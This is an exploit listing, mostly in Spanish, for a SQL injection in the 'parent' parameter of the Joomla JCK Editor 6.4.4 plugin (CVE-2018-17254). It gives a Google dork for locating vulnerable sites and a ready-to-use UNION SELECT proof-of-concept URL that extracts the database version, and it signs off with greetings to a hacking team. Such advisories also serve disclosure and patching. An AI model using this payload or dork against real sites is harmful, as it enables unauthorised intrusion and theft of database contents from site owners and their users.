
Joomla JCK Editor 6.4.4 - 'parent' Inyección SQL
# Exploit Title: Joomla JCK Editor 6.4.4 - Inyección SQL 'parent' # Google Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/ # Página del vendedor: http://docs.arkextensions.com/downloads/jck-editor # Versión: 6.4.4 # Probado en: Debian 10 Ubuntu Windows 11/10 # CVE : CVE-2018-17254 # Versión de PHP (exploit): 7.3.27 # POC: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa Referencia: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-17254
Saludos LXPLOIT - CUKIMAY CYBER TEAM Mis amigos: Noniod7 - Ardzz Recodificado de: Hamza Megahed https://www.bloglumajangteamsec.my.id/2023/01/cve-2018-17254-eksploitasi.html